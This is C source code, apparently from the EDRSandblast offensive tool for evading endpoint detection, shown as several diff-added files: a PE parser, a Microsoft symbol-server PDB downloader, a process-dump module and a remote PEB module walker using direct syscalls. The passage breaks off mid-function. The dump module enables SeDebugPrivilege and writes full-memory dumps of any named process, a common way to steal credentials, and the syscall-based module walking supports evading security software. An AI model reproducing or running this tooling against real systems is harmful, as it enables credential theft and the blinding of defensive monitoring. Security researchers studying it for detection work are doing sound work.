if (readable == 1) {
continue;
}
}
}
if (writable != 0) {
if (sectionCharacteristics & IMAGE_SCN_MEM_WRITE) {
if (writable == -1) {
continue;
}
}
else {
if (writable == 1) {
continue;
}
}
}
if (executable != 0) {
if (sectionCharacteristics & IMAGE_SCN_MEM_EXECUTE) {
if (executable == -1) {
continue;
}
}
else {
if (executable == 1) {
continue;
}
}
}
return &sectionHeaders[sectionIndex];
}
return NULL;
}
PVOID PE_RVA_to_Addr(PE* pe, DWORD rva) {
PVOID peBase = pe->dosHeader;
if (pe->isMemoryMapped) {
return (PBYTE)peBase + rva;
}
IMAGE_SECTION_HEADER* rvaSectionHeader = PE_sectionHeader_fromRVA(pe, rva);
if (NULL == rvaSectionHeader) {
return NULL;
}
else {
return (PBYTE)peBase + rvaSectionHeader->PointerToRawData + (rva - rvaSectionHeader->VirtualAddress);
}
}
DWORD PE_Addr_to_RVA(PE* pe, PVOID addr) {
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
PVOID sectionAddr = PE_RVA_to_Addr(pe, sectionVA);
if (sectionAddr <= addr && addr < (PVOID)((intptr_t)sectionAddr + (intptr_t)sectionSize)) {
intptr_t relativeOffset = ((intptr_t)addr - (intptr_t)sectionAddr);
assert(relativeOffset <= MAXDWORD);
return sectionVA + (DWORD)relativeOffset;
}
}
return 0;
}
VOID PE_parseRelocations(PE* pe) {
IMAGE_BASE_RELOCATION* relocationBlocks = PE_RVA_to_Addr(pe, pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
IMAGE_BASE_RELOCATION* relocationBlockPtr = relocationBlocks;
IMAGE_BASE_RELOCATION* nextRelocationBlockPtr;
pe->nbRelocations = 0;
DWORD relocationsLength = 16;
pe->relocations = calloc(relocationsLength, sizeof(PE_relocation));
if (NULL == pe->relocations)
exit(1);
while (((size_t)relocationBlockPtr - (size_t)relocationBlocks) < pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) {
IMAGE_RELOCATION_ENTRY* relocationEntry = (IMAGE_RELOCATION_ENTRY*)&relocationBlockPtr[1];
nextRelocationBlockPtr = (IMAGE_BASE_RELOCATION*)(((PBYTE)relocationBlockPtr) + relocationBlockPtr->SizeOfBlock);
while ((PBYTE)relocationEntry < (PBYTE)nextRelocationBlockPtr) {
DWORD relocationRVA = relocationBlockPtr->VirtualAddress + relocationEntry->Offset;
if (pe->nbRelocations >= relocationsLength) {
relocationsLength *= 2;
void* pe_relocations = pe->relocations;
assert(NULL != pe_relocations);
pe->relocations = realloc(pe_relocations, relocationsLength * sizeof(PE_relocation));
assert(NULL != pe->relocations);
}
pe->relocations[pe->nbRelocations].RVA = relocationRVA;
pe->relocations[pe->nbRelocations].Type = relocationEntry->Type;
pe->nbRelocations++;
relocationEntry++;
}
relocationBlockPtr = nextRelocationBlockPtr;
}
void* pe_relocations = pe->relocations;
assert(pe_relocations != NULL);
pe->relocations = realloc(pe_relocations, pe->nbRelocations * sizeof(PE_relocation));
if (NULL == pe->relocations)
exit(1);
}
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
{
DWORD* relocDwAddress;
QWORD* relocQwAddress;
if (pe->isMemoryMapped) {
printf_or_not("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
return;
}
if (NULL == pe->relocations) {
PE_parseRelocations(pe);
}
assert(pe->relocations != NULL);
PVOID oldBaseAddress = pe->baseAddress;
pe->baseAddress = newBaseAddress;
for (DWORD i = 0; i < pe->nbRelocations; i++) {
switch (pe->relocations[i].Type) {
case IMAGE_REL_BASED_ABSOLUTE:
break;
case IMAGE_REL_BASED_HIGHLOW:
relocDwAddress = (DWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
intptr_t relativeOffset = ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
assert(relativeOffset <= MAXDWORD);
*relocDwAddress += (DWORD)relativeOffset;
break;
case IMAGE_REL_BASED_DIR64:
relocQwAddress = (QWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
*relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
break;
default:
printf_or_not("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
exit(1);
}
}
return;
}
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) {
PE* pe = calloc(1, sizeof(PE));
if (NULL == pe) {
exit(1);
}
pe->isMemoryMapped = isMemoryMapped;
pe->isInAnotherAddressSpace = FALSE;
pe->hProcess = INVALID_HANDLE_VALUE;
pe->dosHeader = imageBase;
pe->ntHeader = (IMAGE_NT_HEADERS*)(((PBYTE)imageBase) + pe->dosHeader->e_lfanew);
pe->optHeader = &pe->ntHeader->OptionalHeader;
if (isMemoryMapped) {
pe->baseAddress = imageBase;
}
else {
pe->baseAddress = (PVOID)pe->optHeader->ImageBase;
}
pe->dataDir = pe->optHeader->DataDirectory;
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)(((PBYTE)pe->optHeader) + pe->ntHeader->FileHeader.SizeOfOptionalHeader);
DWORD exportRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (exportRVA == 0) {
pe->exportDirectory = NULL;
pe->exportedNames = NULL;
pe->exportedFunctions = NULL;
pe->exportedOrdinals = NULL;
}
else {
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
pe->exportedNames = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNames);
pe->exportedFunctions = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfFunctions);
pe->exportedOrdinals = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNameOrdinals);
pe->exportedNamesLength = pe->exportDirectory->NumberOfNames;
}
pe->relocations = NULL;
DWORD debugRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
if (debugRVA == 0) {
pe->debugDirectory = NULL;
}
else {
pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA);
if (pe->debugDirectory->Type != IMAGE_DEBUG_TYPE_CODEVIEW) {
pe->debugDirectory = NULL;
}
else {
pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData);
if (pe->codeviewDebugInfo->signature != *((DWORD*)"RSDS")) {
pe->debugDirectory = NULL;
pe->codeviewDebugInfo = NULL;
}
}
}
return pe;
}
PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase) {
PE* pe = calloc(1, sizeof(PE));
if (NULL == pe) {
exit(1);
}
pe->isMemoryMapped = TRUE;
pe->hProcess = hProcess;
pe->isInAnotherAddressSpace = TRUE;
pe->baseAddress = imageBase;
pe->dosHeader = imageBase;
DWORD ntHeaderPtrAddress = 0;
ReadProcessMemory(hProcess, (LPCVOID)((intptr_t)imageBase + offsetof(IMAGE_DOS_HEADER, e_lfanew)), &ntHeaderPtrAddress, sizeof(ntHeaderPtrAddress), NULL);
pe->ntHeader = (IMAGE_NT_HEADERS*)((intptr_t)pe->baseAddress + ntHeaderPtrAddress);
pe->optHeader = (IMAGE_OPTIONAL_HEADER*)(&pe->ntHeader->OptionalHeader);
pe->dataDir = pe->optHeader->DataDirectory;
WORD sizeOfOptionnalHeader = 0;
ReadProcessMemory(hProcess, &pe->ntHeader->FileHeader.SizeOfOptionalHeader, &sizeOfOptionnalHeader, sizeof(sizeOfOptionnalHeader), NULL);
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)((intptr_t)pe->optHeader + sizeOfOptionnalHeader);
DWORD exportRVA = 0;
ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, &exportRVA, sizeof(exportRVA), NULL);
if (exportRVA == 0) {
pe->exportDirectory = NULL;
pe->exportedNames = NULL;
pe->exportedFunctions = NULL;
pe->exportedOrdinals = NULL;
}
else {
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
DWORD AddressOfNames = 0;
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNames, &AddressOfNames, sizeof(AddressOfNames), NULL);
pe->exportedNames = PE_RVA_to_Addr(pe, AddressOfNames);
DWORD AddressOfFunctions = 0;
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfFunctions, &AddressOfFunctions, sizeof(AddressOfFunctions), NULL);
pe->exportedFunctions = PE_RVA_to_Addr(pe, AddressOfFunctions);
DWORD AddressOfNameOrdinals = 0;
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNameOrdinals, &AddressOfNameOrdinals, sizeof(AddressOfNameOrdinals), NULL);
pe->exportedOrdinals = PE_RVA_to_Addr(pe, AddressOfNameOrdinals);
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->NumberOfNames, &pe->exportedNamesLength, sizeof(pe->exportedNamesLength), NULL);
}
pe->relocations = NULL;
DWORD debugRVA = 0;
ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress, &debugRVA, sizeof(debugRVA), NULL);
if (debugRVA == 0) {
pe->debugDirectory = NULL;
}
else {
pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA);
DWORD debugDirectoryType;
ReadProcessMemory(hProcess, &pe->debugDirectory->Type, &debugDirectoryType, sizeof(debugDirectoryType), NULL);
if (debugDirectoryType != IMAGE_DEBUG_TYPE_CODEVIEW) {
pe->debugDirectory = NULL;
}
else {
pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData);
DWORD codeviewDebugInfoSignature;
ReadProcessMemory(hProcess, &pe->codeviewDebugInfo->signature, &codeviewDebugInfoSignature, sizeof(pe->codeviewDebugInfo->signature), NULL);
if (codeviewDebugInfoSignature != *((DWORD*)"RSDS")) {
pe->debugDirectory = NULL;
pe->codeviewDebugInfo = NULL;
}
}
}
return pe;
}
DWORD PE_functionRVA(PE* pe, LPCSTR functionName) {
IMAGE_EXPORT_DIRECTORY* exportDirectory = pe->exportDirectory;
LPDWORD exportedNames = pe->exportedNames;
LPDWORD exportedFunctions = pe->exportedFunctions;
LPWORD exportedNameOrdinals = pe->exportedOrdinals;
DWORD nameOrdinal_low = 0;
LPCSTR exportName_low = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_low]);
DWORD nameOrdinal_high = exportDirectory->NumberOfNames;
DWORD nameOrdinal_mid;
LPCSTR exportName_mid;
while (nameOrdinal_high - nameOrdinal_low > 1) {
nameOrdinal_mid = (nameOrdinal_high + nameOrdinal_low) / 2;
exportName_mid = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_mid]);
if (strcmp(exportName_mid, functionName) > 0) {
nameOrdinal_high = nameOrdinal_mid;
}
else {
nameOrdinal_low = nameOrdinal_mid;
exportName_low = exportName_mid;
}
}
if (!strcmp(exportName_low, functionName))
return exportedFunctions[exportedNameOrdinals[nameOrdinal_low]];
return 0;
}
PVOID PE_functionAddr(PE* pe, LPCSTR functionName) {
DWORD functionRVA = PE_functionRVA(pe, functionName);
if (functionRVA == 0) {
return NULL;
}
return PE_RVA_to_Addr(pe, functionRVA);
}
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize) {
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
if ((size_t)sectionSize < patternSize) {
continue;
}
assert(patternSize <= MAXDWORD);
DWORD endSize = sectionSize - (DWORD)patternSize;
for (DWORD offset = 0; offset < endSize; offset++) {
PBYTE ptr = PE_RVA_to_Addr(pe, sectionVA + offset);
if (!memcmp(ptr, pattern, patternSize)) {
return ptr;
}
}
}
return NULL;
}
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize) {
signed long long int maximum;
signed long long int minimum;
switch (relativeReferenceSize)
{
case 1:
minimum = MININT8;
maximum = MAXINT8;
break;
case 2:
minimum = MININT16;
maximum = MAXINT16;
break;
case 4:
minimum = MININT32;
maximum = MAXINT32;
break;
default:
minimum = 0;
maximum = 0;
break;
}
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
DWORD targetRVA = PE_Addr_to_RVA(pe, target);
//TODO : implement optimization rva in range(targetRVA - maximum - relativeReferenceSize,targetRVA + minimum - relativeReferenceSize) inter range(sectionVA, sectionVA+sectionSize)
for (DWORD rva = sectionVA; rva <= sectionVA + sectionSize - relativeReferenceSize; rva++) {
switch (relativeReferenceSize) {
case 1:
if (rva + relativeReferenceSize + *(INT8*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
return PE_RVA_to_Addr(pe, rva);
}
break;
case 2:
if (rva + relativeReferenceSize + *(INT16*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
return PE_RVA_to_Addr(pe, rva);
}
break;
case 4:
if (rva + relativeReferenceSize + *(INT32*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
return PE_RVA_to_Addr(pe, rva);
}
break;
default:
minimum = 0;
maximum = 0;
break;
}
}
}
return NULL;
}
VOID PE_destroy(PE* pe)
{
if (pe->relocations) {
free(pe->relocations);
pe->relocations = NULL;
}
free(pe);
}
+171
View File
@@ -0,0 +1,171 @@
#include <Windows.h>
#include <shlwapi.h>
#include <dbghelp.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileUtils.h"
#include "HttpClient.h"
#include "PEParser.h"
#include "PdbSymbols.h"
BOOL DownloadPDB(GUID guid, DWORD age, LPCWSTR pdb_name_w, PBYTE* file, SIZE_T* file_size) {
WCHAR full_pdb_uri[MAX_PATH] = { 0 };
swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%04hX%04hX%016llX%X/%s", pdb_name_w, guid.Data1, guid.Data2, guid.Data3, _byteswap_uint64(*((DWORD64*)guid.Data4)), age, pdb_name_w);
return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size);
}
BOOL DownloadPDBFromPE(PE* image_pe, PBYTE* file, SIZE_T* file_size) {
WCHAR pdb_name_w[MAX_PATH] = { 0 };
GUID guid = image_pe->codeviewDebugInfo->guid;
DWORD age = image_pe->codeviewDebugInfo->age;
MultiByteToWideChar(CP_UTF8, 0, image_pe->codeviewDebugInfo->pdbName, -1, pdb_name_w, _countof(pdb_name_w));
return DownloadPDB(guid, age, pdb_name_w, file, file_size);
}
BOOL DownloadOriginalFileW(DWORD image_timestamp, DWORD image_size, LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) {
WCHAR full_pdb_uri[MAX_PATH] = { 0 };
swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%X/%s", image_name, image_timestamp, image_size, image_name);
return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size);
}
BOOL DownloadOriginalFileFromPE(PE* image_pe, _In_opt_ LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) {
DWORD image_size = image_pe->optHeader->SizeOfImage;
//useless check
if (image_size & 0xFFF) {
image_size &= ~0xFFF;
image_size += 0x1000;
}
DWORD image_timestamp = image_pe->ntHeader->FileHeader.TimeDateStamp;
WCHAR image_name_w[MAX_PATH] = { 0 };
if (image_name == NULL) {
if (image_pe->exportDirectory != NULL) {
LPCSTR image_name_a = (LPCSTR)PE_RVA_to_Addr(image_pe, image_pe->exportDirectory->Name);
MultiByteToWideChar(CP_UTF8, 0, image_name_a, -1, image_name_w, _countof(image_name_w));
image_name = image_name_w;
}
else {
return FALSE;
}
}
return DownloadOriginalFileW(image_timestamp, image_size, image_name, file, file_size);
}
symbol_ctx* LoadSymbolsFromPE(PE* pe) {
symbol_ctx* ctx = calloc(1, sizeof(symbol_ctx));
if (ctx == NULL) {
return NULL;
}
int size_needed = MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, NULL, 0);
ctx->pdb_name_w = calloc(size_needed, sizeof(WCHAR));
MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, ctx->pdb_name_w, size_needed);
if (!FileExistsW(ctx->pdb_name_w)) {
PBYTE file;
SIZE_T file_size;
BOOL res = DownloadPDBFromPE(pe, &file, &file_size);
if (!res) {
free(ctx);
return NULL;
}
WriteFullFileW(ctx->pdb_name_w, file, file_size);
free(file);
}
DWORD64 asked_pdb_base_addr = 0x1337000;
DWORD pdb_image_size = MAXDWORD;
HANDLE cp = GetCurrentProcess();
if (!SymInitialize(cp, NULL, FALSE)) {
free(ctx);
return NULL;
}
ctx->sym_handle = cp;
DWORD64 pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0);
while (pdb_base_addr == 0) {
DWORD err = GetLastError();
if (err == ERROR_SUCCESS)
break;
if (err == ERROR_FILE_NOT_FOUND) {
printf_or_not("PDB file not found\n");
SymUnloadModule(cp, asked_pdb_base_addr);//TODO : fix handle leak
SymCleanup(cp);
free(ctx);
return NULL;
}
printf_or_not("SymLoadModuleExW, error 0x%x\n", GetLastError());
asked_pdb_base_addr += 0x1000000;
pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0);
}
ctx->pdb_base_addr = pdb_base_addr;
return ctx;
}
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path) {
PVOID image_content = ReadFullFileW(image_file_path);
PE* pe = PE_create(image_content, FALSE);
symbol_ctx* ctx = LoadSymbolsFromPE(pe);
PE_destroy(pe);
free(image_content);
return ctx;
}
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name) {
SYMBOL_INFO_PACKAGE si = { 0 };
si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
si.si.MaxNameLen = sizeof(si.name);
SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, symbol_name, &si.si);
return si.si.Address - ctx->pdb_base_addr;
}
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name) {
SYMBOL_INFO_PACKAGE si = {0};
si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
si.si.MaxNameLen = sizeof(si.name);
BOOL res = SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, struct_name, &si.si);
if (!res) {
return 0;
}
TI_FINDCHILDREN_PARAMS* childrenParam = calloc(1, sizeof(TI_FINDCHILDREN_PARAMS));
if (childrenParam == NULL) {
return 0;
}
res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_GET_CHILDRENCOUNT, &childrenParam->Count);
if (!res){
return 0;
}
TI_FINDCHILDREN_PARAMS* ptr = realloc(childrenParam, sizeof(TI_FINDCHILDREN_PARAMS) + childrenParam->Count * sizeof(ULONG));
if (ptr == NULL) {
free(childrenParam);
return 0;
}
childrenParam = ptr;
res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_FINDCHILDREN, childrenParam);
DWORD offset = 0;
for (ULONG i = 0; i < childrenParam->Count; i++) {
ULONG childID = childrenParam->ChildId[i];
WCHAR* name = NULL;
SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_SYMNAME, &name);
if (wcscmp(field_name, name)) {
continue;
}
SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_OFFSET, &offset);
break;
}
free(childrenParam);
return offset;
}
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb) {
SymUnloadModule(ctx->sym_handle, ctx->pdb_base_addr);
SymCleanup(ctx->sym_handle);
if (delete_pdb) {
DeleteFileW(ctx->pdb_name_w);
}
free(ctx->pdb_name_w);
ctx->pdb_name_w = NULL;
free(ctx);
}
+102
View File
@@ -0,0 +1,102 @@
/*
--- Process dump functions.
*/
#include <Windows.h>
#include <TlHelp32.h>
#include <minidumpapiset.h>
#include <tchar.h>
#include "../EDRSandblast.h"
#include "PEParser.h"
#include "ProcessDump.h"
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
LUID luid;
BOOL bRet = FALSE;
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) {
TOKEN_PRIVILEGES tp = { 0 };
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
bRet = (GetLastError() == ERROR_SUCCESS);
}
}
return bRet;
}
DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile) {
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32 = { 0 };
//Enable the SeDebugPrivilege
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
CloseHandle(hToken);
}
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[!] %s dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"), processName);
return 1;
}
// Set the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf_or_not(TEXT("[!] %s dump failed: obtained invalid process handle\n"), processName); // show cause of failure
CloseHandle(hProcessSnap); // clean the snapshot object
return 1;
}
//HANDLE hDbghelp = LoadLibrary(TEXT("dbgcore.dll"));
//PE* dbghelpPe = PE_create(hDbghelp, TRUE);
//_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) PE_functionAddr(dbghelpPe, "MiniDumpWriteDump");
_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) GetProcAddress(LoadLibrary(TEXT("dbghelp.dll")), "MiniDumpWriteDump");
// Now walk the snapshot of processes, and look for the specified process.
do {
if (_tcscmp(pe32.szExeFile, processName)) {
continue;
}
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't open process memory (OpenProcesswith error 0x%x)\n"), processName, GetLastError());
return 1;
}
HANDLE hDumpFile = CreateFile(outputDumpFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDumpFile == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't create dump file (CreateFile)\n"), processName);
return 1;
}
BOOL dumped = MiniDumpWriteDumpFunc(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (!dumped) {
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't dump process (MiniDumpWriteDump with error 0x%x)\n"), processName, GetLastError());
return 1;
}
_tprintf_or_not(TEXT("[+] %s sucessfully dumped to: %s\n"), processName, outputDumpFile);
CloseHandle(hProcess);
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return 0;
}
DWORD WINAPI dumpProcessFromThread(PVOID* args) {
return dumpProcess(args[0], args[1]);
}
+211
View File
@@ -0,0 +1,211 @@
#include "RemotePEBBrowser.h"
#include "SW2_Syscalls.h"
PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA) {
return (PVOID)(baseAddress + RVA);
}
// Return a pointer to the target process (PEB) Ldr's InMemoryOrderModuleList.
PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess) {
// Get target process PEB address.
PROCESS_BASIC_INFORMATION basicInfo = { 0 };
basicInfo.PebBaseAddress = 0;
PROCESSINFOCLASS ProcessInformationClass = 0;
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process PEB address\n"));
return NULL;
}
#if _WIN64
PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB64, Ldr));
#else
PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB, Ldr));
#endif
PPEB_LDR_DATA pprocessLdr = NULL;
status = NtReadVirtualMemory(hProcess, pPebLdrAddress, &pprocessLdr, sizeof(PPEB_LDR_DATA), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process Ldr address (NtReadVirtualMemory error 0x%x).\n"), status);
return NULL;
}
// As PLDR_DATA_TABLE_ENTRY starts with InLoadOrderLinks while PEB_LDR_DATA's InLoadOrderModuleList is at offset 0x0C.
return (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pprocessLdr) + offsetof(PEB_LDR_DATA, InLoadOrderModuleList));
}
PMODULE_INFO createModuleInfo(HANDLE hProcess, PLDR_DATA_TABLE_ENTRY ldrEntry) {
PMODULE_INFO newModuleInfo = calloc(1, sizeof(MODULE_INFO));
if (!newModuleInfo) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't allocate new module info\n"));
return NULL;
}
newModuleInfo->next = NULL;
newModuleInfo->dllBase = (ULONG64)(ULONG_PTR) ldrEntry->DllBase;
newModuleInfo->ImageSize = ldrEntry->SizeOfImage;
newModuleInfo->timeDateStamp = ldrEntry->TimeDateStampOrLoadedImports.TimeDateStamp;
newModuleInfo->checkSum = ldrEntry->HashLinksOrSectionPointerAndCheckSum.SectionPointerAndCheckSum.CheckSum;
// read the full path of the DLL
NTSTATUS status = NtReadVirtualMemory(hProcess, (PVOID) ldrEntry->FullDllName.Buffer, newModuleInfo->dllName, ldrEntry->FullDllName.Length, NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't retrieve dllName from Ldr entry (NtReadVirtualMemory error 0x%x).\n"), status);
return NULL;
}
return newModuleInfo;
}
PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess) {
PMODULE_INFO pmoduleList = NULL;
NTSTATUS status = FALSE;
// Retrieve the remote process Ldr address as pseudo PLDR_DATA_TABLE_ENTRY.
PLDR_DATA_TABLE_ENTRY pLdrAddressInPeb = getPebLdrAddress(hProcess);
if (!pLdrAddressInPeb) {
return NULL;
}
// Iterate over the linked list by InMemoryOrderModuleList order.
LDR_DATA_TABLE_ENTRY LdrCurrentEntry;
PLDR_DATA_TABLE_ENTRY pLdrCurrentEntryAddress = pLdrAddressInPeb;
while (TRUE) {
// Add InMemoryOrderLinks offset to iterate on InMemoryOrderLinks order (by retrieving the ptr at InMemoryOrderLinks).
status = NtReadVirtualMemory(hProcess, ((PBYTE) pLdrCurrentEntryAddress) + offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), &pLdrCurrentEntryAddress, sizeof(PLDR_DATA_TABLE_ENTRY), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList first element address (NtReadVirtualMemory error 0x%x).\n"), status);
return NULL;
}
// Substract InMemoryOrderLinks offset to be at the top of the LDR_DATA_TABLE_ENTRY struct.
pLdrCurrentEntryAddress = (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pLdrCurrentEntryAddress) - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks));
// Looped back to the first entry.
if (pLdrAddressInPeb == pLdrCurrentEntryAddress) {
break;
}
// Read LDR_DATA_TABLE_ENTRY data for the current element.
status = NtReadVirtualMemory(hProcess, pLdrCurrentEntryAddress, &LdrCurrentEntry, sizeof(LDR_DATA_TABLE_ENTRY), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList next element (NtReadVirtualMemory error 0x%x).\n"), status);
return NULL;
}
// Create module info for list using the current LDR_DATA_TABLE_ENTRY entry.
PMODULE_INFO pnewModuleInfo = createModuleInfo(hProcess, &LdrCurrentEntry);
if (!pnewModuleInfo) {
return NULL;
}
// Insert the new module info element to the module list.
if (!pmoduleList) {
pmoduleList = pnewModuleInfo;
}
else {
PMODULE_INFO plastModule = pmoduleList;
while (plastModule->next) {
plastModule = plastModule->next;
}
plastModule->next = pnewModuleInfo;
}
}
return pmoduleList;
}
PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage) {
PMEMORY_PAGE_INFO prangesList = NULL;
PMEMORY_PAGE_INFO newRange = NULL;
PVOID baseAddress = NULL;
PVOID currentAddress = NULL;
ULONG64 regionSize = 0;
MEMORY_INFORMATION_CLASS memoryInfoClass = { 0 };
MEMORY_BASIC_INFORMATION memoryBasicInfo = { 0 };
NTSTATUS status = STATUS_UNSUCCESSFUL;
while (TRUE) {
